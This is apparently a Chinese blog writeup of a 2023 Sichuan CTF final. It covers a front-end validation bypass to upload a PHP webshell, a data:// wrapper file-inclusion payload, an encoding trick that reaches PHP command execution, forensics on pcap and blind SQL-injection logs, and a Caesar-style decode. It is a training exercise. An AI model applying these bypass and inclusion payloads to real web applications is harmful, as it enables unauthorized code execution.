当前位置: 首页 > news >正文

2023年四川省网络与信息安全技能大赛 决赛个人赛Writeup

文章目录

  • Web
    • 前端验证
    • PHP_Try
  • Misc
    • HelloWorld
    • 密码在这
    • easy_log
  • Crypto
    • baser

线下“断网”CTF个人赛,题都很简单(新手级难度),总共10道题目,解了6题。

赛题附件请自取:
链接:https://pan.baidu.com/s/1lgNEBO7a1L4KLE2t_pXoow 
提取码:moch

Web

前端验证

就简单的绕过前端验证,Disable JavaScript插件直接一开,直接传PHP WebShell即可

在这里插入图片描述

PHP_Try

都是非常常见的考点

<?php
error_reporting(0);
$username=$_GET['username'];
$file=$_GET['file'];
$a=$_GET['a'];if(is_numeric($username)&&isset($username)){highlight_file(__FILE__);
}
else{echo "<h2>传一个 username 试试 ?</h2>";die("<h3>username 用户讨厌字母</h3>");}
if(substr(md5($username),0,5)==="3a824"){echo("惊呆了,小伙子<br>");
if(isset($a)&&file_get_contents($a,'r')==="this is so easy")
{echo "hello<br>";if(!preg_match('/fff.php/',$file)&&preg_match('/filter|data|input|base|[0-9]/i',$file)){echo "小伙子,你想嘎啥?";exit(0);
} include($file); 
}
else
{die("??这就要结束了<br>");
}
}
else{die("咋回事???<br>");
}?>

首先爆破username的正确数值,简单写个Python跑即可

import hashlibfor num in range(10000):numMd5 = hashlib.md5(str(num).encode()).hexdigest()if numMd5[0:5] == "3a824":print(numMd5, num)

在这里插入图片描述
isset($a)&&file_get_contents($a,'r')==="this is so easy"直接用伪协议传,然后包含fff.php即可

/index.php?username=2022&a=data://text/plain,this is so easy&file=fff.php

在这里插入图片描述
访问/fl4a4asdjkg.php,发现是代码执行绕过
在这里插入图片描述

直接用我的这篇文章里的URL编码取反绕过:浅谈PHP代码执行中出现过滤限制的绕过执行方法

PS C:\Users\Administrator\Downloads> php -r "var_dump(urlencode(~'system'));"
Command line code:1:
string(18) "%8C%86%8C%8B%9A%92"
PS C:\Users\Administrator\Downloads> php -r "var_dump(urlencode(~'whoami'));"
Command line code:1:
string(18) "%88%97%90%9E%92%96"

在这里插入图片描述

Misc

HelloWorld

直接搜索关键字DASCTF{,选择替换即可显示出来

在这里插入图片描述

DASCTF{63fe66f7bb230272df7c34e8c3b7266d}

密码在这

按照长度排序,发现最长的一个包有RAR

在这里插入图片描述
试用tshark过滤提取出来

D:\Wireshark\tshark.exe -r .\pcap.pcap -T fields -Y data.data -e data.data

在这里插入图片描述

Python简单转换一下

hexString = "526172211a0701003392b5e50a01050600050101808000833fe6aa5502033cb000049c0020d4bc9c5b80030008666c61672e747874300100030f7664e898bc843a2deea13f7084beb0ef58ebe9779b9c1b4a678da13b6e641cf4869d9f0d797fcab50d7368a10a0302d30a2116f4bcd80157108ce51fbd5c9498348f5effcf4cee88444551f18f82c56db23536e613490e3e20d60911b1f03b06593de5337537bd1d77565103050400ffa567b22002030b0005003000000000800000067365637265740a0302e0c0f918f4bcd801d12727d32103230bb7800004aa800000e58ac34b8003000353544d0a073a70617373776f7264c5ab34240032fa24ba0f9741b3160e14341160b44cc1133550dffe0f9ee8f7eba584c76f6600d2558fb21a3fe410426e7a5c998b2ee5a81d77565103050400444f4e4503e70e63"
with open('flag.rar', 'wb') as f:f.write(bytes.fromhex(hexString))

在这里插入图片描述

注意,前面这些干扰数据需要去掉,得到Rar,题目提示说需要使用winrar打开,盲猜就是存在NTFS流隐写

NTFS文件流隐写如果要压缩必须使用WinRar压缩

使用Winrar解压

在这里插入图片描述

NtfsStreansEdutior发现隐藏的密码

在这里插入图片描述
导出,得到解压密码:SXMlMjB0aGlzJTIwdGhlJTIwcGFzc3dvcmQlM0Y=
解压flag.rar得到flag

DASCTF{I have learned it!!!}

easy_log

很明显的二分法布尔盲注入流量,%3E是大于,并且发现了一段base64

PS C:\Users\Administrator\Downloads> php -r "var_dump(base64_decode('cGFzc3dvcmQ6IHNAZncjdiVmOQ=='));"
Command line code:1:
string(19) "password: s@fw#v%f9"

在这里插入图片描述
这里的重点就是,稍微需要一点点理解二分法布尔盲注入,使用大于的情况下判断的结果是怎么得出的

布尔盲注是根据返回的包不同,观察是否查询语法正确的,这里虽然看不到返回包的内容,但是可以看到返回包的长度,就是状态码200之后的就是返回包长度。

flag字段的第一位内容为例,如果ascii(substr((select group_concat(flag) from flag),1,1))>78,那么接下来的就是继续比较>78的数值了,但是这里第一位的内容后续的查询记录都是<78的,所以就能得出当返回包长度为704的时候就是查询错误,反之当返回包长度为699时则为查询正确

在这里插入图片描述
所以判断每一位的最后一条查询记录是否为True即可,如果为True,则需要数值+1,反之则就是该值

with open('access.log', 'r') as f:lines = f.readlines()idx = 2result = '' for i in range(len(lines)):if 'flag),{},1))'.format(idx) in lines[i]:idx += 1asciiCode = lines[i-1][lines[i-1].find('%3E')+3:lines[i-1].find(' HTTP/1.1')]if ' 200 699 ' in lines[i-1]:result += chr(int(asciiCode) + 1)else:result += chr(int(asciiCode))
print(result)
with open('flag.zip', 'wb') as f:f.write(bytes.fromhex(result))

得到一个压缩包,密码前面也有,直接解压得到flag

DASCTF{fd67c1798e9cb29e8fc467e9dcefbd7f}

Crypto

baser

from uuid import *from caser import something
from secret import flag
base_table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
result =""
for i in range(len(flag)):if flag[i] in base_table:result +=base_table[(base_table.index(flag[i])+33)%64]else:result +=flag[i]
print(result)#khzj0m{9caZ87VV-8X77-WW/+-78Wa-eZVdaYYe9/dZ}

很简单的逆向

base_table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
result = "khzj0m{9caZ87VV-8X77-WW/+-78Wa-eZVdaYYe9/dZ}"
flag = ""
for i in range(len(result)):if result[i] in base_table:flag += base_table[(base_table.index(result[i])-33)%64]else:flag += result[i]
print(flag)
PS C:\Users\Administrator\Downloads> python .\code.py
DASCTF{c754ba00-b2aa-11ed-ab15-94085339ce84}

相关文章:

  • STM32F40EZT6 PWM可控制电压原理
  • 61. 旋转链表、Leetcode的Python实现
  • IntelliJ IDEA快捷键sout不生效
  • 探索控制领域:从电视遥控器到自动驾驶【基础概念理解、应用实例】
  • Ubuntu 搭建 DHCP ivp6 server 步骤
  • 精品Python考研调配系统考试成绩招生调剂-爬虫可视化大屏
  • 华为OD机试 - 统计射击比赛成绩 - 逻辑分析(Java 2023 B卷 100分)
  • YOLOv7优化:独家创新(SC_C_Detect)检测头结构创新,实现涨点 | 检测头新颖创新系列
  • 14.k8s滚动发布方案
  • MySQL -- 内置函数
  • 【生物信息学】单细胞RNA测序数据分析:计算亲和力矩阵(基于距离、皮尔逊相关系数)及绘制热图(Heatmap)
  • Golang Web3钱包开发指南
  • Spring整合Mybatis
  • XAMPP的下载安装配置详细教程
  • 分享一下微信小程序里怎么开店
  • JS 中的深拷贝与浅拷贝
  • 【腾讯Bugly干货分享】从0到1打造直播 App
  • Angular js 常用指令ng-if、ng-class、ng-option、ng-value、ng-click是如何使用的?
  • CentOS 7 修改主机名
  • crontab执行失败的多种原因
  • JavaScript DOM 10 - 滚动
  • jquery cookie
  • Js基础知识(一) - 变量
  • oschina
  • PermissionScope Swift4 兼容问题
  • ubuntu 下nginx安装 并支持https协议
  • 阿里云购买磁盘后挂载
  • 创建一种深思熟虑的文化
  • 分类模型——Logistics Regression
  • 基于axios的vue插件,让http请求更简单
  • 三分钟教你同步 Visual Studio Code 设置
  • 协程
  • 智能网联汽车信息安全
  • ​DB-Engines 11月数据库排名:PostgreSQL坐稳同期涨幅榜冠军宝座
  • ​决定德拉瓦州地区版图的关键历史事件
  • # Panda3d 碰撞检测系统介绍
  • # 达梦数据库知识点
  • #162 (Div. 2)
  • #include<初见C语言之指针(5)>
  • #QT(TCP网络编程-服务端)
  • (3)nginx 配置(nginx.conf)
  • (aiohttp-asyncio-FFmpeg-Docker-SRS)实现异步摄像头转码服务器
  • (蓝桥杯每日一题)love
  • (南京观海微电子)——COF介绍
  • (原創) 如何使用ISO C++讀寫BMP圖檔? (C/C++) (Image Processing)
  • (转)自己动手搭建Nginx+memcache+xdebug+php运行环境绿色版 For windows版
  • (最优化理论与方法)第二章最优化所需基础知识-第三节:重要凸集举例
  • .dat文件写入byte类型数组_用Python从Abaqus导出txt、dat数据
  • .gitattributes 文件
  • .NET CORE 3.1 集成JWT鉴权和授权2
  • .Net 访问电子邮箱-LumiSoft.Net,好用
  • .NET分布式缓存Memcached从入门到实战
  • .Net环境下的缓存技术介绍
  • /etc/sudoers (root权限管理)
  • @31省区市高考时间表来了,祝考试成功